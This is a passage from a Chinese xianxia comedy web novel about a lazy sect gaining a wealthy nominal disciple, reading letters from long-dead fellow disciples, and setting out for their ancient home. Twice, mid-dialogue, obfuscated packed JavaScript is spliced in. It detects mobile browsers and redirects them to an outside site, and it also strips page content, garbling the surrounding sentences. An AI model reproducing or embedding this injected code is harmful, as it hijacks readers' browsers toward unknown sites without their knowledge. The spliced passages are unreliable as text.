“星河姐,”他说,“玩得开心吗?” 典星河点点头。 “开心。”她说,“谢谢。” 沈彻挠挠头。 “不客气!应该的!” 归尘走过来,站在他面前。 沈彻愣了一下。 “前辈?” 归尘从怀里掏出一颗糖,递给他。 沈彻愣住了。 “这……” 归尘说:“甜的。有空来我们宗里玩。” “谢谢前辈。” 归尘点点头,转身上了马车。 凤凰展翅,腾空而起。 沈彻站在地上,冲他们挥手。 九个人趴在车窗上,也冲他挥手。 直到沈府变成一个模糊的小点。 祁幻突然说:“这十天,真好,像梦一样。” 典星河点点头。 像梦一样。一群人浩浩荡荡来,接他们封玩了十天,再浩浩荡荡把他们送回来……顺便解决了三千年恩怨。 宋栀子靠在安然身上,睡着了。 安然给她盖了件衣服。 徐修喝着酒,眯着眼。 牧殇在和沈念聊天,聊得眉飞色舞。 穆惇看着窗外,嘴角弯着。 归尘坐在角落,含着糖。 典星河看着他。 “前辈,想什么呢?” 归尘沉默了一会儿。 “在想,”他说,“要是四师姐也在,她肯定玩得比谁都疯。” 典星河笑了。 是啊,师父最爱玩了。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日总结:上京十日游圆满结束。吃了三百道菜,逛了五十条街,买了无数东西。心情:非常满足。 赵铁柱:这十天太开心了! 王甜甜:温泉最好玩! 李翠花:水果最好吃。 安然:点心最好研究。 徐修:酒最好喝。 归尘:糖最好吃。 典星河:茶最好喝。 沈念:戏最好看。 牧殇:都最好! 钱多多:@沈彻,谢谢! 典星河:你什么时候进的群? 沈彻:星河姐你别生气,我马上退。 典星河:我不是这个意思,只是没注意你进群了。 沈彻:那我,算躺平宗一员么? 典星河:挂名费一百两。 沈彻:等我亲自送去宗里。 25. 归途与归人 九只凤凰拉着三辆云车穿过层云时,牧殇百无聊赖地掏出玉简,本想随手翻翻打发时间,却在看清首页热搜的瞬间险些把玉简扔出去。 那上面密密麻麻挤满了关于他们的词条,从“躺平宗上京十日游”到“沈彻到底花了多少钱”再到“躺平宗新山门曝光”,热度最高的几条竟全被他们承包,连带着那些讨论区里的评论都以令人眼花缭乱的速度疯狂增长。 第一个帖子。 【全程跟拍】躺平宗在上京的十天,我拍到了什么? 发帖人:上京小灵通 内容:本人这几天一直在跟拍躺平宗的诸位。他们去了东市、西市、戏院、温泉、摘星楼……吃了三百多道菜,买了无数东西。沈彻全程陪同,全程付钱。我算了一下,这十天,沈彻至少花了十万两。 评论区: “十万两???” “沈彻这么有钱吗?” “沈彻是沈家少主,当然有钱。” “问题是,他为什么给躺平宗花这么多钱?” “楼上你还没看明白?沈彻这是在交朋友。” “十万两交朋友……这朋友交得也太贵了。” “但你看看躺平宗那些人——三个老妖怪,一个渡劫期,一个元婴期,一个化神期。这朋友,值。” “有钱人的世界,你们不懂。” 祁幻听到这里,嘴角抽了抽。 第二条帖子。 【独家】沈彻入群聊天记录曝光! 发帖人:匿名 内容:据可靠消息,沈彻已经加入了躺平宗的内部群聊!以下是部分聊天记录截图—— 截图1: 钱多多:@沈彻,谢谢! 沈彻:星河姐你别生气,我马上退。 典星河:我不是这个意思,只是没注意你进群了。 沈彻:那我,算躺平宗一员么? 典星河:挂名费一百两。 沈彻:等我亲自送去宗里。 评论区: “哈哈哈哈哈哈挂名费一百两!” “沈彻:我这就去送!” “所以沈彻现在是躺平宗的人了?” “挂名的,得交钱。” “一百两对沈彻来说,也就一顿饭钱。” “但他亲自送去,这诚意满满啊。” 第三个帖子。 【投票】沈彻和躺平宗,到底是什么关系? 选项: A.仇家后代,赔礼道歉 B.冤大头,被薅羊毛 C.想加入躺平宗 D.以上都是 目前C选项票数遥遥领先。 评论区: “我选C!你看他对归尘那恭敬的态度!” “对典星河那一声声‘星河姐’!” “这不是想加入是什么!” “沈彻:我只是想交个朋友。” “网友:不,你是真想加入。” 祁幻继续往下翻。 第四个帖子则是一组九宫格高清大图,拍的是他们那焕然一新的宗门——气派的山门、紫檀木镶金的牌匾、平整的青石板路、翻新的主殿、精致的小木屋、修整一新的灵田,还有歪脖子树下新添的石桌石凳和那个带秋千的小亭子。发帖人自称“建筑爱好者”,言辞之间满是惊叹,说沈家这次是下了血本,这修缮的用心程度,简直像是在给自己家装修。 评论区里一片“卧槽”“这也太气派了”“这是什么神仙朋友”的惊呼。 牧殇惊呼,宗门火了。 祁幻默默看了一眼窗外,心里涌起一股奇怪的感觉——明明才离开十天,再看那个破破烂烂的宗门变成如今这般模样,竟有种恍如隔世的恍惚。 典星河躺在车里,听见他们的动静,眼皮都没抬一下。 “火就火呗,”她慢悠悠地说,“来参观要收门票啊。” 牧殇笑得更欢了。 路途无聊,穆殇打算和沈彻聊聊天。 牧殇在群里@沈彻,问他打算叫什么。 沈彻秒回了一串问号,显然被这突如其来的问题砸懵了,牧殇趁机出馊主意说叫“上京第一深情”,被沈彻一句“太土了”无情驳回。 祁幻提议“沈家饭票”,沈彻回了一串省略号,最后还是典星河来了一句“叫‘挂名弟子沈’”,简单直接,实用至上,沈彻当即拍板采纳。 群里安静了一瞬。 牧殇看着那个新出炉的网名,沉默了。 “……掌门,”他忍不住说,“您这起名风格,真是……” “实用就行。”典星河打断他。 当九只凤凰稳稳落在焕然一新的山门前,众人从云车上跳下来,站在那座气派的青石山门前,看着那块紫檀木镶金的牌匾上“躺平宗”三个遒劲大字,竟不约而同地沉默了整整三息。 这十天里他们被沈彻带着四处疯玩,吃遍了上京的大街小巷,逛遍了东市西市的每一条店铺,泡过温泉登过高楼听过戏,却从未想过那个破破烂烂的宗门会在他们离开的日子里悄无声息地完成如此脱胎换骨的变化。 宋栀子第一个反应过来,尖叫着冲进院子,扑向那个新建的秋千,旁边还有一座精致的小亭子,她坐上去用力荡了几下,笑声清脆得能震落树梢的积雪。 牧殇紧随其后,在新铺的青石板路上跑来跑去,一边跑一边喊“这路不硌脚了”,那欢腾劲儿活像一只撒欢的狗子。 安然走进那座按他原有小木屋复刻的新居,细细打量屋里的每一处陈设——床的位置对了,桌子的高度合适,柜子的尺寸刚好,书架上甚至还摆着他喜欢的那些书,整整齐齐一丝不苟。他走到书架前抽出一本翻了翻,嘴角浮起笑意,轻轻点了点头。 徐修坐上新添的石凳,试了试,又靠了靠,最后满意地拍了拍石桌面。 “舒服,”他说,“比以前的破石头强多了。” 穆惇蹲在灵田边,摸着那些新铺的鹅卵石,看着那片被修整得平平整整的土地,沉默片刻后站起来,言简意赅地吐出一个字:“好。” 祁幻抱着账本,看着这一切,手抖得厉害。他飞快地翻到新的一页,在上面郑重其事地写下:“宗门翻新完成,费用:零。心情:感恩。” 写完又盯着那行字看了半天,嘴角慢慢弯了起来。 归尘走到歪脖子树下,蹲下来,姿势和十年前、百年前、千年前一模一样。他抬起头,看着那座新修的亭子,看着那个晃动的秋千,看着那些被精心栽种的花草,然后从怀里掏出一颗糖,剥开糖纸放进嘴里。 甜的。 当晚他们决定办个暖房宴。 祁幻去镇上买菜,回来时手里拎着大包小包,穆惇接过东西进了厨房,安然在摆桌子,徐修在擦杯子,宋栀子在小亭子里荡秋千,牧殇在院子里跑来跑去不知忙些什么,沈念帮着安然摆碗筷,归尘蹲在树下含着糖看着这一切,典星河躺在摇椅上慢悠悠地晃着,看这满院子的热闹,嘴角噙着笑。 “要不要叫沈彻?”祁幻凑过来问。 典星河想了想,点点头。 祁幻掏出玉简在群里发了一条消息:“@挂名弟子沈,暖房宴,来不来?” 沈彻秒回:“来!马上!” 半个时辰后,一只凤凰从天而降,落地时带起的风吹得花草东倒西歪。沈彻从凤凰背上跳下来,手里拎着两个大包袱,人还没站稳就开始喊:“星河姐!我来蹭饭了!” “不是蹭饭,”典星河躺在摇椅上,眼睛都没睁,“是请客。” “都一样都一样!”沈彻颠颠儿地跑进院子,把包袱往地上一放,麻利地往外掏东西——三坛三百年陈酿的老酒,几盒上京最有名那家铺子的点心,还有一大筐新鲜的灵果。 徐修看见那几坛酒,眼睛都直了,一把抱过来说“好孩子”;安然拿起一块点心尝了尝,点点头说“还是那个味道”;宋栀子从秋千上跳下来跑过来,沈彻笑眯眯地从包袱里掏出一个小糖人递给她,兔子的形状,活灵活现,宋栀子接过来笑得眼睛弯成月牙,脆生生地喊了声“沈彻哥,你最好啦!”。 饭菜很快端上桌,穆惇的手艺一如既往地好,红烧肉炖得软烂入味,鸡汤清亮鲜美,青菜炒得翠绿可人,蒸鱼鲜嫩多汁,还有一大盆萝卜汤冒着热气。众 人围坐在新建的膳堂,挤得满满当当,沈彻坐在典星河旁边端着碗吃得满脸幸福,一边吃一边念叨“好吃好吃太好吃了”,穆惇看了他一眼,淡淡说了句“喜欢就多吃点”,沈彻立刻又夹了一块肉。 牧殇凑过来问沈彻看没看论坛,沈彻点点头说看了。 牧殇又问“网友说你对归尘前辈恭敬得很你有什么感想。” 沈彻愣了一下说“不应该恭敬吗?” 牧殇眨眨眼说“应该应该。” 这小子怎么这么会说。 沈彻挠挠头说“我就是觉得前辈们挺好的,躺平宗每个人都很有趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387686|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能认识你们是我的福气。” 安然看了他一眼,沈彻被看得有点心虚,问他“怎么了”。 安然摇摇头说“没什么,就是觉得你这人还行”。 沈彻眼睛亮了,笑得眼睛都眯了起来。 吃完饭天已经黑了,月亮升起来,照在焕然一新的院子里亮堂堂的。众人围坐着喝茶聊天。 沈彻小心翼翼地问归尘觉得新宗门怎么样,归尘看了他一眼,说“挺好”。 夜深了,沈彻要走了。他站在山门口冲他们挥手,说“星河姐我下次再来”。 典星河靠在歪脖子树上冲他挥手,说“记得带礼物”。 沈彻笑着应了,凤凰展翅腾空而起,九个人站在山门口看着那条凤凰越飞越远,消失在夜色里。 祁幻突然说:“掌门,他真的挺好的。” 典星河点点头:“嗯。” 三天后沈彻又来了,这回没带凤凰没带蛟龙,只带了两个人抬着一个大箱子。 他从箱子里整整齐齐码着的银锭上面拿起一封信递给典星河,说是他写的入宗申请书。 典星河打开信看了一眼,牧殇凑过来就念:“尊敬的躺平宗掌门:本人沈彻,男,二十三岁,金丹期,上京沈家少主,擅长花钱、交朋友、请客吃饭。申请加入躺平宗,挂名也行,正式也行,管饭就行。” 牧殇念完笑直愣愣地看着沈彻,这么认真? 安然走过来看了看那封信,说“字写得不错”,又说“比我徒弟强”,宋栀子在旁边抗议“师父!”。 安然没理她,继续看信说“这申请书写得很真诚”。 沈彻挠挠头说那是他写了一个时辰呢,徐修也凑过来说“管饭就行?你这要求真不高”。 沈彻点点头说“不高不高,能吃饱就行”。 归尘坐在树下新增的石凳上看着这一幕。 典星河把信收起来,看着沈彻问他是不是认真的。沈彻点头,说他是认真的,活了二十三年第一次遇到他们这样的人,想和他们做朋友,挂名也行正式也行,只要他们不嫌弃他。 典星河看着他,看了很久,然后笑了,说“行,挂名弟子,沈彻”。 沈彻眼睛亮了,高兴得跳起来,“到!” 牧殇跑过来拍拍他的肩说“欢迎欢迎”,宋栀子也跑过来喊“沈彻哥以后咱们是一家人了”。 沈彻笑着回应。 那天晚上沈彻留下来吃饭,穆惇又做了一桌子菜。众人围坐在一起吃着喝着聊着天,沈彻坐在典星河旁边端着碗笑得像个傻子。 祁幻看着账本喃喃自语“挂名费一百两进账心情很好”,牧殇凑过来说他应该写“今日新增人口:1人。姓名:沈彻(挂名弟子)。备注:管饭就行”。 祁幻想了想觉得有道理,拿起笔又加了一句。 归尘早已吃了饭,出来在石凳上闲坐,磕着瓜子。典星河走过来在他旁边蹲下,说“前辈,又多了个人”。 归尘点点头,嗯了一声。 典星河又问“热闹吧”。 他点了点头,说“热闹”。 典星河笑了,说“那就好”。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日进账:一百两(沈彻挂名费)。今日支出:肉五斤二百文。心情:很好。 钱多多:@挂名弟子沈,你以后一定常来。 挂名弟子沈:常来常来!管饭就行! 穆惇:@挂名弟子沈,你的饭,我包了。 挂名弟子沈:谢师姐。 王甜甜:沈彻哥!你什么时候再来? 挂名弟子沈:等萝卜能吃的时候! 李翠花:两个月后。 挂名弟子沈:那我两个月后再来! 牧殇:到时候咱们可以办个萝卜宴! 安然:这个主意不错。 徐修:配我的酒! 王甜甜:配我的秋千! 众人沉默了。 牧殇:秋千和萝卜宴有什么关系? 王甜甜:吃完可以荡秋千啊! 牧殇:……有道理。 挂名弟子沈:我能不能提前来? 李翠花:? 挂名弟子沈:我想看着它们长大。 牧殇:??? 挂名弟子沈:认真的!我还没见过萝卜怎么长大呢! 安然:那你得天天来。 挂名弟子沈:天天来也行! 26. 信 沈念来躺平宗几个月了。 他学会了锄地,学会了嗑瓜子,学会了在被炸醒的时候面不改色地翻身继续睡,也学会了在牧殇拉着聊天时适时点头回 p应“嗯”“啊”“然后呢” 这三个词足够应付大部分话题。 但他一直没学会的,是把师父的东西拿出来看。 那个包袱,他从下山那天就背着。里面有几件换洗衣裳、一本师父手写的剑谱、一块刻着“善渊”二字的玉佩,还有一沓用油纸包得严严实实的信。 他不敢打开。 确切地说,是不敢打开那些信。 这天傍晚,沈念一个人坐在新修的小亭子里,看着宋栀子荡秋千。夕阳把秋千的影子拉得很长,宋栀子的笑声飘过来,脆生生的,像风吹过竹林。 沈念忽然想,师父小时候,是不是也这么笑过? 他回了屋,从床底下拖出那个包袱。 油纸揭开,里头是十几封信,信纸已经泛黄,边角微微卷起。最下面那封,信封上写着四个字: “小尘亲启” 沈念的手顿了顿。 小尘,是归尘师叔。 他犹豫了一会儿,拿着信出了门。 归尘正坐在歪脖子树下嗑瓜子。夕阳落在他身上,白发染上一层暖橙,眉眼安静得像一幅画。 沈念走过去,在他旁边蹲下。 “师叔。” 归尘转头看他,稍稍疑惑。 沈念把手里的信递过去。 “我师父留给您的。” 归尘看着那个信封,沉默了很久。 “怎么现在才送来?”只是平常的询问,并无责怪。 他接过来,没有马上拆开,只是翻来覆去地看。信封上的字迹他认得,是大师兄的,工整清秀,每一笔都规规矩矩,像他这个人——温和、沉稳、从不逾矩。 归尘拆开信封,抽出信纸。 信不长,只有两页。 “小尘: 见字如面。 也不知道你什么时候能看见这封信。也许一年,也许十年,也许一百年。但我知道你肯定活着,你这人倔得很,不会那么容易死的。 我活不了多久了。这话说出来挺奇怪,但说出来之后,反而轻松了。你不用难过,人都会死,我只是走得比你们早一点。 这些年我一直在找你。去过很多地方,问过很多人。有时候路过一个村庄,看见有人在树下嗑瓜子,就会停下来多看两眼。想着,万一是你呢。 后来我遇到了沈念。这孩子是在一个雪天捡到的,被人丢在山脚下。我把他抱起来的时候,他还在哭。我给他起名叫念,思念的念。我想着,要是找不到你们,至少还有一个人可以让我念着你们。 小尘,师父走的时候,我跟你说过,这辈子最不后悔的就是将你们送走。现在我也这么说。那场仗,我们输了,但你们活着,就够了。 你别怪自己。你那时候那么小,什么都做不了。就算你留下来,也改变不了什么。师父让我们活,我们就好好活。 我没什么留给你的。那些年存的瓜子,早就吃完了。只有这封信,还有几句话想跟你说。 你小时候不爱说话,老是一个人蹲着。我们几个就轮流去逗你,逗你说话。二师兄老说你像棵树,三师弟说你像块石头,四师妹说你像个小老头。其实我们都知道,你不是不爱说话,是不知道该说什么。后来你慢慢就好了,会笑了,会跟我们一起玩了。那时候我们都挺高兴。 这些年你一个人,是不是又变回那个不爱说话的小尘了? 要是能遇见,咱们就一起嗑嗑瓜子,说说话。要是遇不见……也没什么。反正咱们还会再见的。 我算过了,能再见。 大师兄 善渊” 归尘看完信,久久没有动。 夕阳已经完全沉下去了,月亮悄悄爬上来。月光落在他脸上,照出两道细细的水痕。 沈念在旁边蹲着,不敢说话。 过了很久,归尘把信折好,轻轻放进怀里。 “你师父,”他开口,声音有点哑,“还说什么了?” 沈念摇摇头。 “就这一封。”他说,“信封上写着您的名字,我没敢拆。” 归尘点点头。 他又从怀里掏出瓜子,然后他说:“你师父这人,从小就话少。” 沈念愣了一下。 归尘继续说:“但我们几个,都听他的。” 安然和徐修不知什么时候也走了过来。 徐修在归尘旁边石凳上坐下,安然坐另一边。 “大师兄的信?”安然问。 归尘点点头,把信递给他。 安然接过来,和徐修一起看。看完了,两人都沉默了。 过了一会儿,徐修开口了:“他那个人,什么都存。瓜子、糕点、酒、丹药,都存。说是怕我们几个哪天回来没东西吃。” 安然接话:“有一次我偷吃他的糕点,被他抓到了。我以为他会骂我,结果他说:‘够不够?不够再拿。’” 归尘嘴角弯了弯。 “他那个人,”他说,“从来没发过脾气。” 徐修点头:“师父教训的时候,他站在旁边不说话。等师父走了,他才过来说:‘下次别这样了。’就这一句,从师父那里学的,比骂一顿还难受。” 安然笑了:“你们不知道,有一次我闯了祸,把师父的剑弄断了。吓得躲在山里三天不敢回去。第四天,大师兄找到我,也没骂我,就是看着我。看得我心里发毛。然后他说:‘回去吧,师父说没事。’” “后来呢?”沈念忍不住问。 安然摊手:“后来我回去,师父真的没说我。我问大师兄怎么做到的,他说:‘我跟师父说,是我弄断的。’” 归尘愣了一下。 “他替你背锅?” 安然点点头。 “这种事,他干得多了。”徐修说,“咱们几个,谁没被他护过?” 归尘沉默了一会儿。 “我记得有一次,”他轻声说,“我偷吃了师父的丹药,师父发现少了,问是谁。大师兄说是他吃的。” 安然和徐修都看着他。 归尘继续说:“师父罚他抄经书,抄了三天。我去看他,他还笑着说:‘没事,反正我也该练练字了。’” 四人又沉默了。 月光静静的,风轻轻的。 沈念忽然开口:“师叔,我师父……最后是什么样子?” 归尘看着他,看了很久。 “我们也不知道。”他说。 沈念愣住了。 安然叹了口气:“那晚我们都被送走了。他是最后一个。” 徐修接话:“我走的时候,回头看了一眼。他站在阵前,背对着我们。那些人围着他,他一个人,握着剑。” 他的声音有点涩。 “他什么也没说。” 归尘的声音从旁边传来:“但我听见了。” 三个人都看向他。 归尘看着月亮,声音很轻:“传送阵亮起来的时候,我听见他说了一句话。” “什么?”沈念问。 归尘沉默了一会儿。 “他说:‘别回头。’” 沈念的眼泪掉下来。 安然伸出手,拍了拍他的肩。 徐修从怀里掏出一小壶酒,喝了一口,递给归尘。归尘也喝了一口,递给安然。安然喝了一口,递给沈念。 沈念看着那壶酒,愣了一会儿,然后也喝了一口。 辣的,有些微苦。 那天晚上,四个人在歪脖子树下坐了很久。 徐修讲起善渊小时候的事,说他刚来宗门的时候,比归尘还小,也是不爱说话。师父问他叫什么,他说没名字。师父说:“那你以后就叫善渊吧。善,是善良。渊,是深沉。愿你善良又深沉。” 安然讲起善渊学剑的事,说他天赋不算最好,但最刻苦。别人练一个时辰,他练三个。别人休息,他还在练。师父问他累不累,他说:“累,但师弟们还小,我得保护他们。” 归尘讲起善渊和他的事,说他每次练剑受伤,善渊都帮他包扎。每次难过,善渊都陪着他。每次偷吃被骂,善渊都替他背锅。 “他其实,”归尘顿了顿,“就像个爹。” 徐修和安然都点头。 沈念在旁边听着,心里涌起一种奇怪的感觉。 他从小跟着师父长大,师父话不多,但总是默默照顾他。教他练剑,教他认字,教他做人。他从来不知道,师父还有这些过去。 第二天早上,典星河来找归尘。 “前辈,”她手里拿着一个旧木匣,“我收拾师父遗物的时候,发现这个。” 她一直不敢动师父的遗物,她不敢面对师父死去的事实,可在昨日晚间,她想通了。 她该向前走。 归尘接过木匣,打开。 里面有三封信。 信封上分别写着:“给小尘”“给二师兄”“给三师兄”。 归尘的手顿了顿。 他把信拿出来,递给走过来的徐修和安然。 三人各自打开信。 四师姐夏轻鸿的字迹潦草得很,和她的人一样,随性又洒脱。 给归尘的信上写着: “小尘小尘小尘: (我知道你在心里说‘四师姐又叫我名字三遍了’,别急,还有第四遍。)小尘! 我算过了,你们都会好好的。我也会好好的。我们都会再见的。 这话是不是像算命的说的?反正我本来就会算命。 你小时候不爱说话,我老逗你。你躲我,我就追。你蹲着,我也蹲着。你嗑瓜子,我也嗑。后来你终于开口了,第一句话说的是:‘师姐,你话真多。’我高兴了三天。 (三师兄说我也太容易高兴了,我说你懂什么,小尘肯跟我说话了!) 这些年我一个人,有时候会想,你们都在哪儿呢?是不是也在想我? 后来我收了个徒弟,叫星河。这丫头跟你有点像,也爱发呆,也爱嗑瓜子。不过她比你懒,能躺着绝不坐着。 我把她捡回来的时候,她躺在宗门门口,睡着了。我想,这丫头,跟我有缘。 后来我教她算卦,她学得很快。有一次她给我算了一卦,算得特别准。她说:‘师父,你还有两个时辰。’ 我说:‘那得抓紧吃点好的。’ 她哭了。 这丫头,跟我一样,嘴硬心软。 小尘,要是你们能遇见,帮我看看她。要是遇不见,也没事。反正咱们还会再见的。 我算过了,能再见。 四师姐 轻鸿” 归尘看完信,眼眶又红了。 徐修和安然也看完了各自的信,都沉默着。 典星河站在旁边,看着他们。 “前辈,”她小声问,“师父说什么?” 归尘把信递给她。 “师父……”她轻声说。 归尘站起来,在她脑袋上轻轻拍了拍。 “她夸你呢。”他说。 那天下午,九个人坐在院子里。 归尘把大师兄的信和四师姐的信放在石桌上,徐修和安然也把各自的信拿出来。 四封信并排摆着。 宋栀子凑过来看,看了半天,说:“四师伯的字……好乱。” 安然点点头:“她就那样。” 牧殇问:“大师伯的字呢?我看看。” 沈念把那封信递给他。 牧殇看了看,说:“大师伯的字真好看,整整齐齐的。” 祁幻也凑过来看,看完了说:“你们师门,字都挺有特色的。” 徐修瞪他一眼。 “什么叫有特色?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387687|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祁幻缩了缩脖子:“就是……各有千秋。” 众人笑了。 沈彻不知什么时候也来了,蹲在旁边看热闹。 “前辈,”他问归尘,“您大师兄是个什么样的人?” 归尘想了想。 “话少,”他说,“但每一句都在点上。” 沈彻又问:“那四师伯呢?” 典星河接话:“话多,但每一句都能噎死人。” 归尘看了她一眼。 “像你。”他说。 典星河愣了一下,她就是师父教的,哪有不像的道理? “是挺像。”她说。 【沈彻日记·其一】 某年某月某日晴 今天又去了躺平宗。本来只是想蹭顿饭,结果赶上一件大事。 沈念把他师父的信拿出来了。是写给归尘前辈的。 我没看到信的内容,归尘前辈看完之后,一个人在树下坐了很久。月光照在他脸上,我第一次发现,原来神仙也会哭。 后来安然前辈和徐修前辈也来了,四个人坐在树下,蹲成一排。我躲在亭子里偷看,没敢靠近。 他们说话的声音很轻,但风把一些话吹了过来。 说什么“背锅”,说什么“护着”,说什么“像爹”。 我听不太懂,但我知道,他们在说一个已经不在了的人。 第二天星河姐也来了,拿着一个木匣子。说是她师父留的。 她师父就是那个四师姐,归尘前辈的师姐。 我悄悄问牧殇,四师姐是什么人。 牧殇难得安静了一会儿,然后说:“是个很好很好的人。” 连话痨都这么说,那应该是真的很好很好。 后来他们把信拿出来晒。四封信,并排放在石桌上。 我没敢凑过去看,但远远看了一眼。四师姐的字真的很乱,大师伯的字真的很整齐。 宋栀子说四师伯的字“好乱”,安然前辈点点头,一点没生气。 我突然有点羡慕。 不是羡慕他们有信,是羡慕他们有人可以写信。 有人记得你爱吃瓜子。 有人算好了你会回来。 有人隔着三千年,还在等你。 我活了二十三年,好像还没有人给我写过信。 不过没关系。 我今天蹭到饭了。穆惇师姐做的红烧肉,还是那么好吃。 【沈彻日记·其二】 某年某月某日晴转多云 今天又来了。 不知道为什么,最近老想往躺平宗跑。明明沈家什么都有,厨子比穆惇师姐做得好,房子比这儿气派,人比这儿正常(划掉)。 但就是想来。 今天归尘前辈没嗑瓜子,只在树下发呆。我凑过去站了半天,他都没发现我。 后来我问牧殇,归尘前辈在想什么。 牧殇说:“在想人。” 我说:“想谁?” 牧殇说:“想那些不在了的人。” 我沉默了。 牧殇又说:“我也经常想。” 我问他想谁。 他说:“师妹。” 然后他就开始讲他师妹的事。讲了整整一个时辰,从她怎么爱说话,讲到她怎么爱笑,讲到她怎么喜欢吃糖葫芦,讲到她最后说的那句话。 “师兄,你再不说话,就没人陪你说话了。” 牧殇讲完,眼睛红了。 我也红了。 不是因为故事有多惨,是因为他讲的时候,一直在笑。 笑着讲那些回不来的人。 我突然有点明白,为什么躺平宗这么破,这些人还不走。 因为这里有人记得他们。 我也想有人记得我。 (虽然我现在已经有人记得了。他们记得我爱蹭饭。) (算了,能蹭饭就行。) (明天还来。) 【沈彻日记·其三】 某年某月某日月圆 今天是月圆。 我本来没打算来,但吃完饭就莫名其妙骑着凤凰往这边飞。 到了之后才发现,他们都在院子里坐着。 穆惇师姐在灵田边发呆,看着那些刚发芽的萝卜苗。 牧殇在和沈念聊天,聊什么“小号”“论坛”“带节奏”,沈念一脸茫然地点头。 祁幻在记账,一边记一边念“今日支出:零,今日进账:零,心情:平静”。 安然前辈在整理衣襟,徐修前辈在喝酒,宋栀子在荡秋千。 典星河躺在摇椅上,慢悠悠地晃着。 归尘前辈蹲在歪脖子树下,看着月亮。 我走过去,在他旁边蹲下。 他没说话,我也没说话。 我们就那么蹲着,一起看月亮。 过了很久,他突然开口了。 “今天,”他说,“是她最爱看月亮的日子。” 我问:“四师伯?” 他点点头。 然后他说:“她以前说,月亮圆的时候,许的愿最灵。” 我愣了一下。 “那您许愿了吗?” 他看了我一眼,没说话。 但我看见他嘴角弯了弯。 后来我去找牧殇,问他许愿的事。 牧殇说:“老一辈的事,咱们不懂。” 我说:“那你许愿吗?” 牧殇想了想,说:“许。许我师妹能听见我说话。” 我说:“她听见了吗?” 牧殇笑了。 “应该听见了吧。”他说,“不然我话这么多,早累死了。” 我也笑了。 今晚的月亮真圆。 (偷偷许个愿:希望以后还能一直来蹭饭。) (算了,不用许愿,他们不会赶我的。) (大概。) 27. 那片山 “我想去个地方。”某一天清晨,归尘找到典星河。 典星河侧头看他。 “哪儿?” 归尘望着远处,声音轻得像是怕惊动什么。 “上古躺平宗。” 典星河愣住了。上古躺平宗,那是三千年前的地方,是归尘他们长大的地方,也是他们失去一切的地方。 “可是……”典星河斟酌着开口,“三千年前的遗址,现在肯定不在了吧?” 归尘点点头。 “不在。”他说,“早就没了。” 典星河更不明白了:“那你去做什么?” 归尘沉默了一会儿。 “那片山还在。”他说,“那条河还在。那个方向还在。” 他顿了顿。 “我想去看看。” 她站起来,拍了拍身上的瓜子壳。 “好,”她说,“我去叫人,顺便让沈彻准备坐骑。” 消息传到沈彻耳朵里时,他正在自家后院为花浇水。 玉简亮起来,是典星河的消息:“明天我们要去上古躺平宗旧址,你那边有什么能飞的大家伙?” 沈彻愣了一下,随即眼睛亮了。 上古躺平宗? 虽然听说早就什么都没了,但能去看看那片山也是好的。他立刻翻身起来,翻遍了沈家的兽苑,最后在一处偏僻的角落里找到了他想要的——两头穿云兽。 这种灵兽体型庞大,背脊宽阔如平地,飞行起来却稳得出奇,最难得的是它们耐力极好,飞上三天三夜都不会累。 只是穿云兽性子懒散,不爱动弹,沈家已经好多年没人骑过它们了。 沈彻蹲在兽栏前,对着那两头打瞌睡的大家伙说了半个时辰的好话,又许诺回去后给它们准备三天的灵果大餐,这才哄得它们勉强站起身,抖了抖毛,算是答应了。 第二天一早,两头穿云兽落在躺平宗山门外时,众人正站在门口等着。那两头巨兽体型大得惊人,脊背宽阔得能并排坐上五六个人,浑身覆盖着银灰色的长毛,在阳光下泛着柔和的光泽。 宋栀子仰着头看了半天,扯了扯安然的袖子:“师父,这个是毛茸茸的!” 安然点点头,目光却落在穿云兽背上铺着的厚实垫子上——那是沈彻连夜让人缝制的,每一处细节都考虑到了,甚至连放茶杯的小凹槽都预留了出来。 沈彻从兽背上跳下来,一脸得意:“怎么样?穿云兽!比凤凰稳多了,飞一天都不累!背上我让人铺了软垫,还有遮阳的棚子,饿了还能在兽背上摆桌子吃饭!” 牧殇凑过去摸了摸穿云兽的毛,那兽懒洋洋地打了个哈欠,压根没理他。 “它好淡定。”牧殇说。 沈彻点头:“穿云兽就这样,天塌下来都懒得动。但飞起来稳得很,你们放心!” 归尘看着那两头巨兽,沉默了一会儿,然后走到一头穿云兽面前,伸出手,轻轻摸了摸它的鼻子。那兽眯起眼,发出舒服的呼噜声。 “走吧。”他说。 穿云兽确实稳得出奇。它们缓缓升空时,众人几乎感觉不到颠簸,只有迎面吹来的风提醒着他们正在远离地面。 宋栀子趴在兽背上,透过遮阳棚的边缘往下看,那些山川河流越来越小,最后被云层遮住,只剩下白茫茫一片云海。 她兴奋得不行,拉着安然问东问西,安然难得有耐心地一一回答,只是偶尔会伸手把她往里拽一拽,怕她兴奋过头真的翻下去。 祁幻盘腿坐在软垫上,面前摆着一个小几案,上面放着账本和毛笔。他本来想趁着路上清闲把账目理一理,但云海茫茫,阳光正好,暖洋洋的风吹得人发懒,没写几笔就开始打哈欠。 牧殇坐在另一头兽背上,正对着沈念滔滔不绝。从穿云兽的习性讲到上古宗门的传说,从云层的高度讲到沈彻今天穿的衣裳颜色为什么跟平时不一样。 